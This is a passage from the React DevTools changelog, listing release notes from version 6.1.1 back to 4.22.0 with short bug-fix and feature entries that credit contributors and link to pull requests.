Restore \"double-click to view owners tree\" functionality ([eps1lon](https://github.com/eps1lon) in [#33039](https://github.com/facebook/react/pull/33039))\n\n---\n\n### 6.1.1\nFebruary 7, 2025\n\n* DevTools: refactor NativeStyleEditor, don't use custom cache implementation ([hoxyq](https://github.com/hoxyq) in [#32298](https://github.com/facebook/react/pull/32298))\n* DevTools: fix host component filter option title ([hoxyq](https://github.com/hoxyq) in [#32296](https://github.com/facebook/react/pull/32296))\n* chore[DevTools]: make clipboardWrite optional for chromium ([hoxyq](https://github.com/hoxyq) in [#32262](https://github.com/facebook/react/pull/32262))\n\n---\n\n### 6.1.0\nJanuary 16, 2025\n\n* fix[DevTools]: fix HostComponent naming in filters for Native ([hoxyq](https://github.com/hoxyq) in [#32086](https://github.com/facebook/react/pull/32086))\n* Fix copy functionality in Firefox ([V3RON](https://github.com/V3RON) in [#32077](https://github.com/facebook/react/pull/32077))\n* Prevent crash when starting consecutive profiling sessions ([V3RON](https://github.com/V3RON) in [#32066](https://github.com/facebook/react/pull/32066))\n* fix[DevTools/Tree]: only scroll to item when panel is visible ([hoxyq](https://github.com/hoxyq) in [#32018](https://github.com/facebook/react/pull/32018))\n* feat[Tree]: set initial scroll offset when inspected element index is set ([hoxyq](https://github.com/hoxyq) in [#31968](https://github.com/facebook/react/pull/31968))\n* DevTools: fix initial host instance selection ([hoxyq](https://github.com/hoxyq) in [#31892](https://github.com/facebook/react/pull/31892))\n* chore[DevTools/Tree]: don't pre-select root element ([hoxyq](https://github.com/hoxyq) in [#32015](https://github.com/facebook/react/pull/32015))\n* Show component names while highlighting renders ([piotrski](https://github.com/piotrski) in [#31577](https://github.com/facebook/react/pull/31577))\n* allow non-coercible objects in formatConsoleArgumentsToSingleString ([henryqdineen](https://github.com/henryqdineen) in [#31444](https://github.com/facebook/react/pull/31444))\n\n---\n\n### 6.0.1\nOctober 15, 2024\n\n* Fix React Compiler badging ([poteto](https://github.com/poteto) in [#31196](https://github.com/facebook/react/pull/31196))\n* fix[react-devtools]: record timeline data only when supported ([hoxyq](https://github.com/hoxyq) in [#31154](https://github.com/facebook/react/pull/31154))\n* fix[react-devtools]: remove all listeners when Agent is shutdown ([hoxyq](https://github.com/hoxyq) in [#31151](https://github.com/facebook/react/pull/31151))\n* fix[react-devtools]: wrap key string in preformatted text html element ([hoxyq](https://github.com/hoxyq) in [#31153](https://github.com/facebook/react/pull/31153))\n* fix[react-devtools]: request hook initialization inside http server response ([hoxyq](https://github.com/hoxyq) in [#31102](https://github.com/facebook/react/pull/31102))\n* refactor: allow custom impl of backend reload-to-profile support check ([EdmondChuiHW](https://github.com/EdmondChuiHW) in [#31048](https://github.com/facebook/react/pull/31048))\n\n---\n\n### 6.0.0\nSeptember 25, 2024\n\n#### Features\n* Support Server Components in Tree ([sebmarkbage](https://github.com/sebmarkbage) in [#30684](https://github.com/facebook/react/pull/30684))\n* feat: expose installHook with settings argument from react-devtools-core/backend ([hoxyq](https://github.com/hoxyq) in [#30987](https://github.com/facebook/react/pull/30987))\n* Add Filtering of Environment Names ([sebmarkbage](https://github.com/sebmarkbage) in [#30850](https://github.com/facebook/react/pull/30850))\n* Support secondary environment name when it changes ([sebmarkbage](https://github.com/sebmarkbage) in [#30842](https://github.com/facebook/react/pull/30842))\n* Filter Server Components ([sebmarkbage](https://github.com/sebmarkbage) in [#30839](https://github.com/facebook/react/pull/30839))\n* Make function inspection instant ([sebmarkbage](https://github.com/sebmarkbage) in [#30786](https://github.com/facebook/react/pull/30786))\n* Make Functions Clickable to Jump to Definition ([sebmarkbage](https://github.com/sebmarkbage) in [#30769](https://github.com/facebook/react/pull/30769))\n* [Flight/DevTools] Pass the Server Component's \"key\" as Part of the ReactComponentInfo ([sebmarkbage](https://github.com/sebmarkbage) in [#30703](https://github.com/facebook/react/pull/30703))\n* Make Element Inspection Feel Snappy ([sebmarkbage](https://github.com/sebmarkbage) in [#30555](https://github.com/facebook/react/pull/30555))\n* Print component stacks as error objects to get source mapping ([sebmarkbage](https://github.com/sebmarkbage) in [#30289](https://github.com/facebook/react/pull/30289))\n\n#### Bugfixes\n* Fix: profiling crashes #30661 #28838 ([EdmondChuiHW](https://github.com/EdmondChuiHW) in [#31024](https://github.com/facebook/react/pull/31024))\n* chore: remove settings manager from react-devtools-core ([hoxyq](https://github.com/hoxyq) in [#30986](https://github.com/facebook/react/pull/30986))\n* fix[react-devtools/extensions]: fixed tabs API calls and displaying restricted access popup ([hoxyq](https://github.com/hoxyq) in [#30825](https://github.com/facebook/react/pull/30825))\n* fix[react-devtools/InspectedElement]: fixed border stylings when some of the panels are not rendered ([hoxyq](https://github.com/hoxyq) in [#30676](https://github.com/facebook/react/pull/30676))\n* fix: path handling in react devtools ([Jack-Works](https://github.com/Jack-Works) in [#29199](https://github.com/facebook/react/pull/29199))\n\n#### Other\n* feat: display message if user ended up opening hook script ([hoxyq](https://github.com/hoxyq) in [#31000](https://github.com/facebook/react/pull/31000))\n* refactor[react-devtools]: move console patching to global hook ([hoxyq](https://github.com/hoxyq) in [#30596](https://github.com/facebook/react/pull/30596))\n* refactor[react-devtools]: initialize renderer interface early ([hoxyq](https://github.com/hoxyq) in [#30946](https://github.com/facebook/react/pull/30946))\n* Use Unicode Atom Symbol instead of Atom Emoji ([sebmarkbage](https://github.com/sebmarkbage) in [#30832](https://github.com/facebook/react/pull/30832))\n* feat[react-devtools]: support Manifest v3 for Firefox extension ([hoxyq](https://github.com/hoxyq) in [#30824](https://github.com/facebook/react/pull/30824))\n* Enable pointEvents while scrolling ([sebmarkbage](https://github.com/sebmarkbage) in [#30560](https://github.com/facebook/react/pull/30560))\n\n---\n\n### 5.3.1\nJuly 3, 2024\n\n* chore[react-devtools/renderer]: dont show strict mode warning for prod renderer builds ([hoxyq](https://github.com/hoxyq) in [#30158](https://github.com/facebook/react/pull/30158))\n* chore[react-devtools/ui]: fix strict mode badge styles ([hoxyq](https://github.com/hoxyq) in [#30159](https://github.com/facebook/react/pull/30159))\n* fix[react-devtools]: restore original args when recording errors ([hoxyq](https://github.com/hoxyq) in [#30091](https://github.com/facebook/react/pull/30091))\n* Read constructor name more carefully ([LoganDark](https://github.com/LoganDark) in [#29954](https://github.com/facebook/react/pull/29954))\n* refactor[react-devtools/extensions]: dont debounce cleanup logic on navigation ([hoxyq](https://github.com/hoxyq) in [#30027](https://github.com/facebook/react/pull/30027))\n\n---\n\n### 5.3.0\nJune 17, 2024\n\n* chore[react-devtools]: improve console arguments formatting before passing it to original console ([hoxyq](https://github.com/hoxyq) in [#29873](https://github.com/facebook/react/pull/29873))\n* chore[react-devtools]: unify console patching and default to ansi escape symbols ([hoxyq](https://github.com/hoxyq) in [#29869](https://github.com/facebook/react/pull/29869))\n* chore[react-devtools/extensions]: make source maps url relative ([hoxyq](https://github.com/hoxyq) in [#29886](https://github.com/facebook/react/pull/29886))\n* fix[react-devtools] divided inspecting elements between inspecting do… ([vzaidman](https://github.com/vzaidman) in [#29885](https://github.com/facebook/react/pull/29885))\n* fix[react-devtools] component badge in light mode is now not invisible ([vzaidman](https://github.com/vzaidman) in [#29852](https://github.com/facebook/react/pull/29852))\n* fix[react-devtools] remove native inspection button when it can't be used ([vzaidman](https://github.com/vzaidman) in [#29779](https://github.com/facebook/react/pull/29779))\n* chore[react-devtools]: ip => internal-ip ([hoxyq](https://github.com/hoxyq) in [#29772](https://github.com/facebook/react/pull/29772))\n* Fix #29724: `ip` dependency update for CVE-2024-29415 ([Rekl0w](https://github.com/Rekl0w) in [#29725](https://github.com/facebook/react/pull/29725))\n* Dim `console` calls on additional Effect invocations due to `StrictMode` ([eps1lon](https://github.com/eps1lon) in [#29007](https://github.com/facebook/react/pull/29007))\n* refactor[react-devtools]: rewrite context menus ([hoxyq](https://github.com/hoxyq) in [#29049](https://github.com/facebook/react/pull/29049))\n\n---\n\n### 5.2.0\nMay 8, 2024\n\n* feat[react-devtools]: display forget badge for components in profiling session ([hoxyq](https://github.com/hoxyq) in [#29014](https://github.com/facebook/react/pull/29014))\n* fix[react-devtools]: add backwards compat with legacy element type symbol ([hoxyq](https://github.com/hoxyq) in [#28982](https://github.com/facebook/react/pull/28982))\n* Expose \"view source\" options to Fusebox integration ([motiz88](https://github.com/motiz88) in [#28973](https://github.com/facebook/react/pull/28973))\n* Enable inspected element context menu in Fusebox ([motiz88](https://github.com/motiz88) in [#28972](https://github.com/facebook/react/pull/28972))\n* Check in `frontend.d.ts` for react-devtools-fusebox, include in build output ([motiz88](https://github.com/motiz88) in [#28970](https://github.com/facebook/react/pull/28970))\n* Rename Forget badge  ([jbonta](https://github.com/jbonta) in [#28858](https://github.com/facebook/react/pull/28858))\n* Devtools: Add support for useFormStatus ([eps1lon](https://github.com/eps1lon) in [#28413](https://github.com/facebook/react/pull/28413))\n\n---\n\n### 5.1.0\nApril 15, 2024\n\n* Look for a ReactMemoCacheSentinel on state ([gsathya](https://github.com/gsathya) in [#28831](https://github.com/facebook/react/pull/28831))\n* feat[devtools]: add method for connecting backend with custom messaging protocol ([hoxyq](https://github.com/hoxyq) in [#28552](https://github.com/facebook/react/pull/28552))\n* feat[devtools]: ship source maps for content scripts and ignore list installHook script ([hoxyq](https://github.com/hoxyq) in [#28730](https://github.com/facebook/react/pull/28730))\n* Devtools: Display actual pending state when inspecting `useTransition` ([eps1lon](https://github.com/eps1lon) in [#28499](https://github.com/facebook/react/pull/28499))\n\n---\n\n### 5.0.2\nMarch 5, 2024\n\n* feat[devtools]: symbolicate source for inspected element ([hoxyq](https://github.com/hoxyq) in [#28471](https://github.com/facebook/react/pull/28471))\n* refactor[devtools]: lazily define source for fiber based on component stacks ([hoxyq](https://github.com/hoxyq) in [#28351](https://github.com/facebook/react/pull/28351))\n* fix[devtools/tree/element]: onClick -> onMouseDown to handle first click correctly ([hoxyq](https://github.com/hoxyq) in [#28486](https://github.com/facebook/react/pull/28486))\n* Devtools: Unwrap Promise in useFormState ([eps1lon](https://github.com/eps1lon) in [#28319](https://github.com/facebook/react/pull/28319))\n* Include server component names in the componentStack in DEV ([sebmarkbage](https://github.com/sebmarkbage) in [#28415](https://github.com/facebook/react/pull/28415))\n\n---\n\n### 5.0.1\nFebruary 22, 2024\n\n* feature[REMOVED][devtools]: turn off / hide location based component filters ([hoxyq](https://github.com/hoxyq) in [#28417](https://github.com/facebook/react/pull/28417))\n* Add useSyncExternalStore and useTransition to getPrimitiveStackCache ([jamesbvaughan](https://github.com/jamesbvaughan) in [#28399](https://github.com/facebook/react/pull/28399))\n* chore[devtools]: use react-window from npm and bump react-virtualized-auto-sizer to ^1.0.23 ([hoxyq](https://github.com/hoxyq) in [#28408](https://github.com/facebook/react/pull/28408))\n* [Debug Tools] Always use includeHooksSource option ([sebmarkbage](https://github.com/sebmarkbage) in [#28309](https://github.com/facebook/react/pull/28309))\n* [Debug Tools] Introspect Promises in use() ([sebmarkbage](https://github.com/sebmarkbage) in [#28297](https://github.com/facebook/react/pull/28297))\n* fix[devtools/useModalDismissSignal]: use getRootNode for shadow root case support ([hoxyq](https://github.com/hoxyq) in [#28145](https://github.com/facebook/react/pull/28145))\n* DevTools: Add support for use(Context) ([eps1lon](https://github.com/eps1lon) in [#28233](https://github.com/facebook/react/pull/28233))\n* Patch devtools before running useMemo function in strict mode ([gsathya](https://github.com/gsathya) in [#28249](https://github.com/facebook/react/pull/28249))\n* DevTools: Add support for useFormState ([eps1lon](https://github.com/eps1lon) in [#28232](https://github.com/facebook/react/pull/28232))\n* DevTools: Add support for useOptimistic Hook ([eps1lon](https://github.com/eps1lon) in [#27982](https://github.com/facebook/react/pull/27982))\n\n---\n\n### 5.0.0\nNovember 29, 2023\n\n### Breaking\n* refactor[devtools]: highlight an array of elements for native ([hoxyq](https://github.com/hoxyq) in [#27734](https://github.com/facebook/react/pull/27734))\n\n### Features\n* feat[devtools]: display Forget badge for the relevant components ([hoxyq](https://github.com/hoxyq) in [#27709](https://github.com/facebook/react/pull/27709))\n\n### Other\n* Added windows powershell syntax to build scripts ([PrathamLalwani](https://github.com/PrathamLalwani) in [#27692](https://github.com/facebook/react/pull/27692))\n* refactor[react-devtools-shared]: minor parsing improvements and modifications ([hoxyq](https://github.com/hoxyq) in [#27661](https://github.com/facebook/react/pull/27661))\n\n---\n\n### 4.28.5\nOctober 18, 2023\n\n#### Bugfixes\n* fix[devtools/useMemoCache]: add stub for useMemoCache in ReactDebugHook ([hoxyq](https://github.com/hoxyq) in [#27472](https://github.com/facebook/react/pull/27472))\n* refactor[react-devtools-extensions]: use globals to eliminate dead code ([hoxyq](https://github.com/hoxyq) in [#27516](https://github.com/facebook/react/pull/27516))\n* fix[devtools/inspectElement]: dont pause initial inspectElement call when user switches tabs ([hoxyq](https://github.com/hoxyq) in [#27488](https://github.com/facebook/react/pull/27488))\n\n---\n\n### 4.28.4\nSeptember 25, 2023\n\n#### Features\n* feat:-Added a delete all filters action and added title to the add filter a… ([Biki-das](https://github.com/Biki-das) in [#27332](https://github.com/facebook/react/pull/27332))\n* feat[devtools/extension]: add dark theme for popup ([rakleed](https://github.com/rakleed) in [#27330](https://github.com/facebook/react/pull/27330))\n\n#### Bugfixes\n* refactor[devtools/extension]: refactored messaging logic across different parts of the extension ([hoxyq](https://github.com/hoxyq) in [#27417](https://github.com/facebook/react/pull/27417))\n* fix[devtools/extension]: added a workaround for proxy content script injection in firefox ([hoxyq](https://github.com/hoxyq) in [#27375](https://github.com/facebook/react/pull/27375))\n* fix[devtools/useTransition]: don't check for dispatch property when determining if hook is stateful ([hoxyq](https://github.com/hoxyq) in [#27365](https://github.com/facebook/react/pull/27365))\n* feat[devtools/extension]: show disclaimer when page doesnt run react and refactor react polling logic ([hoxyq](https://github.com/hoxyq) in [#27373](https://github.com/facebook/react/pull/27373))\n* fix[devtools/extension]: unregister dynamically injected content scripts instead of filtering ([hoxyq](https://github.com/hoxyq) in [#27369](https://github.com/facebook/react/pull/27369))\n* refactor[devtools/extension]: more stable element updates polling to avoid timed out errors ([hoxyq](https://github.com/hoxyq) in [#27357](https://github.com/facebook/react/pull/27357))\n\n---\n\n### 4.28.3\nSeptember 5, 2023\n\n* refactor[devtools/extension]: handle ports disconnection, instead of frequent reconnection ([hoxyq](https://github.com/hoxyq) in [#27336](https://github.com/facebook/react/pull/27336))\n* refactor[devtools/extension]: migrate from using setInterval for polling if react is loaded ([hoxyq](https://github.com/hoxyq) in [#27323](https://github.com/facebook/react/pull/27323))\n* fix[devtools/extension]: fixed duplicating panels in firefox ([hoxyq](https://github.com/hoxyq) in [#27320](https://github.com/facebook/react/pull/27320))\n\n---\n\n### 4.28.2\nAugust 30, 2023\n\n#### Bugfixes\n* fix[devtools/extension]: handle tab navigation events before react is loaded ([hoxyq](https://github.com/hoxyq) in [#27316](https://github.com/facebook/react/pull/27316))\n\n---\n\n### 4.28.1\nAugust 29, 2023\n\n#### Features\n* feat: added open in editor to appear by default ([Biki-das](https://github.com/Biki-das) in [#26949](https://github.com/facebook/react/pull/26949))\n\n#### Bugfixes\n* refactor: refactored devtools browser extension scripts to improve port management and service worker lifetime ([hoxyq](https://github.com/hoxyq) in [#27215](https://github.com/facebook/react/pull/27215))\n* fix[devtools]: allow element updates polling only if bridge is alive ([hoxyq](https://github.com/hoxyq) in [#27067](https://github.com/facebook/react/pull/27067))\n* refactor: resolve browser via env variables based on build rather than user agent ([hoxyq](https://github.com/hoxyq) in [#27179](https://github.com/facebook/react/pull/27179))\n* fix[devtools/updateFiberRecursively]: mount suspense fallback set in timed out case ([hoxyq](https://github.com/hoxyq) in [#27147](https://github.com/facebook/react/pull/27147))\n* fix[devtools/inspect]: null check memoized props before trying to call hasOwnProperty ([hoxyq](https://github.com/hoxyq) in [#27057](https://github.com/facebook/react/pull/27057))\n\n#### Other\n* refactor[devtools/extension]: minify production builds to strip comments ([hoxyq](https://github.com/hoxyq) in [#27304](https://github.com/facebook/react/pull/27304))\n\n---\n\n### 4.28.0\nJuly 4, 2023\n\n#### Features\n* feat[devtools]: support x_google_ignoreList source maps extension ([hoxyq](https://github.com/hoxyq) in [#26951](https://github.com/facebook/react/pull/26951))\n\n#### Bugfixes\n* fix: check if fiber is unmounted before trying to highlight ([hoxyq](https://github.com/hoxyq) in [#26983](https://github.com/facebook/react/pull/26983))\n* fix: display NaN as string in values ([hoxyq](https://github.com/hoxyq) in [#26947](https://github.com/facebook/react/pull/26947))\n* fix: devtools cannot be closed correctly ([Jack-Works](https://github.com/Jack-Works) in [#25510](https://github.com/facebook/react/pull/25510))\n* fix: supported inspect mode on Shadow dom ([Biki-das](https://github.com/Biki-das) in [#26888](https://github.com/facebook/react/pull/26888))\n* fix: updated strict mode badge URL ([ibrahemid](https://github.com/ibrahemid) in [#26825](https://github.com/facebook/react/pull/26825))\n\n#### Other\n* chore: upgrade to webpack v5 ([hoxyq](https://github.com/hoxyq) in [#26887](https://github.com/facebook/react/pull/26887))\n* chore: removed unused CSS ([Biki-das](https://github.com/Biki-das) in [#27032](https://github.com/facebook/react/pull/27032))\n\n---\n\n### 4.27.8\nMay 17, 2023\n\n#### Bugfixes\n* Fixed duplicated backend activation with multiple renderers ([hoxyq](https://github.com/hoxyq) in [#26807](https://github.com/facebook/react/pull/26807))\n\n---\n\n### 4.27.7\nMay 4, 2023\n\n#### Bugfixes\n* Fixed to work when browser devtools panel is reopened ([hoxyq](https://github.com/hoxyq) in [#26779](https://github.com/facebook/react/pull/26779))\n* Fixed to work in Chrome incognito mode ([hoxyq](https://github.com/hoxyq) in [#26765](https://github.com/facebook/react/pull/26765))\n\n---\n\n### 4.27.6\nApril 20, 2023\n\n#### Bugfixes\n* Fixed backend injection logic for undocked devtools window ([mondaychen](https://github.com/mondaychen) in [#26665](https://github.com/facebook/react/pull/26665))\n\n#### Other\n* Use backend manager to support multiple backends in extension ([mondaychen](https://github.com/mondaychen) in [#26615](https://github.com/facebook/react/pull/26615))\n\n---\n\n### 4.27.5\nApril 17, 2023\n\n#### Bugfixes\n* Fixed copying to clipboard from context menu on Chrome ([hoxyq](https://github.com/hoxyq) in [#26604](https://github.com/facebook/react/pull/26604))\n* Fixed external link behavior in the standalone app ([Willie-Boy](https://github.com/Willie-Boy) in [#26559](https://github.com/facebook/react/pull/26559))\n\n#### Other\n* Provide icon to edge devtools. ([harrygz889](https://github.com/harrygz889) in [#26543](https://github.com/facebook/react/pull/26543))\n* Forbid editing class instances in props ([hoxyq](https://github.com/hoxyq) in [#26522](https://github.com/facebook/react/pull/26522))\n* Improved script injection logic in browser extension ([mondaychen](https://github.com/mondaychen) in [#26492](https://github.com/facebook/react/pull/26492))\n---\n\n### 4.27.4\nMarch 24, 2023\n\n#### Bugfixes\n* missing file name in react-devtools package.json for electron ([mondaychen](https://github.com/mondaychen) in [#26469](https://github.com/facebook/react/pull/26469))\n\n---\n\n### 4.27.3\nMarch 22, 2023\n\n#### Bugfixes\n* prevent StyleX plugin from throwing when inspecting CSS ([mondaychen](https://github.com/mondaychen) in [#26364](https://github.com/facebook/react/pull/26364))\n* remove script tag immediately ([mondaychen](https://github.com/mondaychen) in [#26233](https://github.com/facebook/react/pull/26233))\n\n#### Others\n* upgrade electron to latest version & security improvements ([mondaychen](https://github.com/mondaychen) in [#26337](https://github.com/facebook/react/pull/26337))\n* improve troubleshooting in README ([mondaychen](https://github.com/mondaychen) in [#26235](https://github.com/facebook/react/pull/26235))\n* Remove renderer.js from extension build ([mondaychen](https://github.com/mondaychen) in [#26234](https://github.com/facebook/react/pull/26234))\n* permanently polyfill for rAF in devtools_page ([mondaychen](https://github.com/mondaychen) in [#26193](https://github.com/facebook/react/pull/26193))\n\n---\n\n### 4.27.2\nFebruary 16, 2023\n\n* Replace DevTools `semver` usages with `compare-versions` for smaller bundle size ([markerikson](https://github.com/markerikson) in [#26122](https://github.com/facebook/react/pull/26122))\n* Support highlights for React Native apps in dev tools ([ryancat](https://github.com/ryancat) in [#26060](https://github.com/facebook/react/pull/26060))\n* improve error handling in extension ([mondaychen](https://github.com/mondaychen) in [#26068](https://github.com/facebook/react/pull/26068))\n\n---\n\n### 4.27.1\nDecember 6, 2022\n\n* [bug fix] revert values in ReactFiberFlags to keep consistency for devtools ([mondaychen](https://github.com/mondaychen) in [#25832](https://github.com/facebook/react/pull/25832))\n\n---\n\n### 4.27.0\nNovember 28, 2022\n\n#### Features\n* add support for new host type fibers for server components use cases ([mondaychen](https://github.com/mondaychen) in [#25616](https://github.com/facebook/react/pull/25616))\n* [react devtools] Device storage support ([rbalicki2](https://github.com/rbalicki2) in [#25452](https://github.com/facebook/react/pull/25452))\n* upgrade to Manifest V3 ([mondaychen](https://github.com/mondaychen) in [#25145](https://github.com/facebook/react/pull/25145))\n\n#### Bugfixes\n* bug fix for Hydrating fibers ([mondaychen](https://github.com/mondaychen) in [#25663](https://github.com/facebook/react/pull/25663))\n\n\n\n---\n\n### 4.26.1\nOctober 13, 2022\n\n* [standalone] Stop highlighting events when a component is selected ([tyao1](https://github.com/tyao1) in [#25448](https://github.com/facebook/react/pull/25448))\n\n---\n\n### 4.26.0\nSeptember 16, 2022\n\n* Show DevTools icons in Edge browser panel ([itskolli](https://github.com/itskolli) in [#25257](https://github.com/facebook/react/pull/25257))\n* [Bugfix] Don't hide fragment if it has a key ([lunaruan](https://github.com/lunaruan) in [#25197](https://github.com/facebook/react/pull/25197))\n* Handle info, group, and groupCollapsed in Strict Mode logging ([timneutkens](https://github.com/timneutkens) in [#25172](https://github.com/facebook/react/pull/25172))\n* Highlight RN elements on hover ([tyao1](https://github.com/tyao1) in [#25106](https://github.com/facebook/react/pull/25106))\n* Remove ForwardRef/Memo from display name if `displayName` is set ([eps1lon](https://github.com/eps1lon) in [#21952](https://github.com/facebook/react/pull/21952))\n\n---\n\n### 4.25.0\nJuly 13, 2022\n\n* Timeline Profiler Sidebar with component tree ([lunaruan](https://github.com/lunaruan) and [blakef](https://github.com/blakef) in [#24816](https://github.com/facebook/react/pull/24816), [#24815](https://github.com/facebook/react/pull/24815), [#24814](https://github.com/facebook/react/pull/24814), [#24805](https://github.com/facebook/react/pull/24805), [#24776](https://github.com/facebook/react/pull/24776))\n* [DevTools][Bugfix] Fix DevTools Perf Issue When Unmounting Large React Subtrees ([lunaruan](https://github.com/lunaruan) in [#24863](https://github.com/facebook/react/pull/24863))\n* Enable \"reload & profile\" button for timeline view ([mondaychen](https://github.com/mondaychen) in [#24702](https://github.com/facebook/react/pull/24702))\n* Find best renderer when inspecting app with mutilple react roots ([mondaychen](https://github.com/mondaychen) in [#24665](https://github.com/facebook/react/pull/24665))\n* Only polyfill requestAnimationFrame when necessary ([mondaychen](https://github.com/mondaychen) in [#24651](https://github.com/facebook/react/pull/24651))\n\n---\n\n### 4.24.7\nMay 31, 2022\n\n* mock requestAnimationFrame with setTimeout as a temporary fix for #24626 ([mondaychen](https://github.com/mondaychen) in [#24633](https://github.com/facebook/react/pull/24633))\n* Fix formatWithStyles not styling the results if the first argument is an object + Added unit tests ([lunaruan](https://github.com/lunaruan) in [#24554](https://github.com/facebook/react/pull/24554))\n\n---\n\n### 4.24.6\nMay 12, 2022\n\n* fix a bug in console.log with non-string args ([mondaychen](https://github.com/mondaychen) in [#24546](https://github.com/facebook/react/pull/24546))\n* Add Pragma to Only Run Tests if Version Requirement Satisfied ([lunaruan](https://github.com/lunaruan) in [#24533](https://github.com/facebook/react/pull/24533))\n* [DevTools][Bug] Fix Race Condition When Unmounting Fibers ([lunaruan](https://github.com/lunaruan) in [#24510](https://github.com/facebook/react/pull/24510))\n* [React DevTools] Improve DevTools UI when Inspecting a user Component that Throws an Error  ([mondaychen](https://github.com/mondaychen) in [#24248](https://github.com/facebook/react/pull/24248))\n\n---\n\n### 4.24.5\nMay 5, 2022\n\n* Fixed potential undefined error in `TreeContext` reducer ([bvaughn](https://github.com/bvaughn) in [#24501](https://github.com/facebook/react/pull/24501))\n* Fix error where Profiler sometimes incorrectlyed reported that a `forwardRef` did not render ([lunaruan](https://github.com/lunaruan) in [#24494](https://github.com/facebook/react/pull/24494))\n* Fix regex for `formateWithStyles` function ([lunaruan](https://github.com/lunaruan) in [#24486](https://github.com/facebook/react/pull/24486))\n* Fixed wrong method call for LRU cache ([bvaughn](https://github.com/bvaughn) in [#24477](https://github.com/facebook/react/pull/24477))\n* Synchronize implementations of second render logging ([billyjanitsch](https://github.com/billyjanitsch) in [#24381](https://github.com/facebook/react/pull/24381))\n* Don't stringify objects for console log second render ([lunaruan](https://github.com/lunaruan) in [#24373](https://github.com/facebook/react/pull/24373))\n\n---\n\n### 4.24.4\nApril 8, 2022\n\n* Allow react-devtools-inline `createStore()` method to override Store config params ([bvaughn](https://github.com/bvaughn) in [#24303](https://github.com/facebook/react/pull/24303))\n* [ReactDebugTools] wrap uncaught error from rendering user's component ([mondaychen](https://github.com/mondaychen) in [#24216](https://github.com/facebook/react/pull/24216))\n\n---\n\n### 4.24.3\nMarch 29, 2022\n\n#### Bugfix\n* Profiler should only report stateful hooks that change between renders ([bvaughn](https://github.com/bvaughn) in [#24189](https://github.com/facebook/react/pull/24189))\n* Ignore duplicate welcome \"message\" events ([bvaughn](https://github.com/bvaughn) in [#24186](https://github.com/facebook/react/pull/24186))\n* Attach DevTools Tree keyboard events to the Tree container (not the document) ([bvaughn](https://github.com/bvaughn) in [#24164](https://github.com/facebook/react/pull/24164))\n\n---\n\n### 4.24.2\nMarch 24, 2022\n\n#### Bugfix\n* Show upgrade/downgrade instructions inline for errors thrown by the Store due to incompatible protocol (mismatched backend and frontend versions) ([bvaughn](https://github.com/bvaughn) in [#24147](https://github.com/facebook/react/pull/24147))\n* Inspecting an element in a nested renderer no longer throws ([lunaruan](https://github.com/lunaruan) in [#24116](https://github.com/facebook/react/pull/24116))\n\n---\n\n### 4.24.1\nMarch 15, 2022\n\n#### Bugfix\n* Disable unsupported Bridge protocol version dialog and add workaround for old protocol operations format ([bvaughn](https://github.com/bvaughn) in [#24093](https://github.com/facebook/react/pull/24093))\n\n---\n\n### 4.24.0\nMarch 10, 2022\n\n#### Feature\n* Show DevTools backend and frontend versions in UI ([bvaughn](https://github.com/bvaughn) in [#23399](https://github.com/facebook/react/pull/23399))\n* Timeline profiler refactored to support reading basic profiling data directly from React ([bvaughn](https://github.com/bvaughn) in [#22529](https://github.com/facebook/react/issues/22529))\n\n#### Bugfix\n* Better handle undefined `Error` stacks in DevTools error boundary ([bvaughn](https://github.com/bvaughn) in [#24065](https://github.com/facebook/react/pull/24065))\n* Fixed edge case bug in Profiler commit filtering ([bvaughn](https://github.com/bvaughn) in [#24031](https://github.com/facebook/react/pull/24031))\n* Gracefully handle empty \"xstyle\" prop values ([lunaruan](https://github.com/lunaruan) in [#23279](https://github.com/facebook/react/pull/23279) and [bvaughn](https://github.com/bvaughn) in [#23190](https://github.com/facebook/react/pull/23190))\n* Add `<TracingMarker>` component boilerplate ([lunaruan](https://github.com/lunaruan) in [#23275](https://github.com/facebook/react/pull/23275))\n\n#### Misc\n* Remove object-assign polyfill ([sebmarkbage](https://github.com/sebmarkbage) in [#23351](https://github.com/facebook/react/pull/23351))\n\n#### Breaking change\n* Move createRoot/hydrateRoot to react-dom/client ([sebmarkbage](https://github.com/sebmarkbage) in [#23385](https://github.com/facebook/react/pull/23385)).\n\nTechnically this is a breaking change for projects using `react-devtools-inline`, but since this package already depends on the _experimental_ release channel, we are going to include it in 4.24.\n\n---\n\n### 4.23.0\nJanuary 24, 2022\n\n#### Feature\n* DevTools: Only show StrictMode badge on root elements ([bvaughn](https://github.com/bvaughn) in [#23012](https://github.com/facebook/react/pull/23012))\n\n#### Bugfix\n* Don't crawl unmounted subtrees when profiling starts ([bvaughn](https://github.com/bvaughn) in [#23162](https://github.com/facebook/react/pull/23162))\n* Filter deleted components from the updaters list to avoid runtime errors later ([lunaruan](https://github.com/lunaruan) in [#23156](https://github.com/facebook/react/pull/23156))\n\n#### Misc\n* DevTools (not React) logs Timeline performance data to the User Timing API ([bvaughn](https://github.com/bvaughn) in [#23102](https://github.com/facebook/react/pull/23102))\n\n---\n\n### 4.22.1\nDecember 14, 2021\n\n* Fix invalid `require()` statements in `react-devtools-inline` ([bvaughn](https://github.com/bvaughn) in [#22961](https://github.com/facebook/react/pull/22961))\n* Fix invalid `files` array in `react-devtools` `package.json` ([bvaughn](https://github.com/bvaughn) in [#22960](https://github.com/facebook/react/pull/22960))\n\n---\n\n### 4.22.0\nDecember 13, 2021\n\n#### A note for React Native users\nReact DevTools has [two main pieces](https://github.com/facebook/react/blob/main/packages/react-devtools/OVERVIEW.md#overview):\n* The *frontend* users interact with (the Components tree, the Profiler, etc.).\n* The *backend* which runs in the same context as React itself. (In the web page with React DOM or shipped on the device with the React Native runtime.)\n\nThis release updates the [**protocol** that DevTools uses](https://github.com/facebook/react/blob/main/packages/react-devtools/OVERVIEW.md#serializing-the-tree) to communicate between the \"frontend\" and \"backend\" components.\n\nBecause React Native embeds a copy of the React DevTools \"backend\" ([`react-devtools-core/backend`](https://www.npmjs.com/package/react-devtools-core)), the \"frontend\" (UI) needs to match. This means you may be prompted to upgrade (or downgrade) your React DevTools based on which version of React Native your app uses.\n\n#### Features\n* Support multiple DevTools instances per page ([@bvaughn](https://github.com/bvaughn) in [#22949](https://github.com/facebook/react/pull/22949))\n* Advocate for StrictMode usage within Components tree ([@bvaughn](https://github.com/bvaughn) in [#22886](https://github.com/facebook/react/pull/22886))\n* StyleX plug-in for resolving atomic styles to values for props.xstyle ([@bvaughn](https://github.com/bvaughn) in [#22808](https://github.com/facebook/react/pull/22808))\n* Timeline search ([@bvaughn](https://github.com/bvaughn) in [#22799](https://github.com/facebook/react/pull/22799))\n* Timeline: Improved snapshot view ([@bvaughn](https://github.com/bvaughn) in 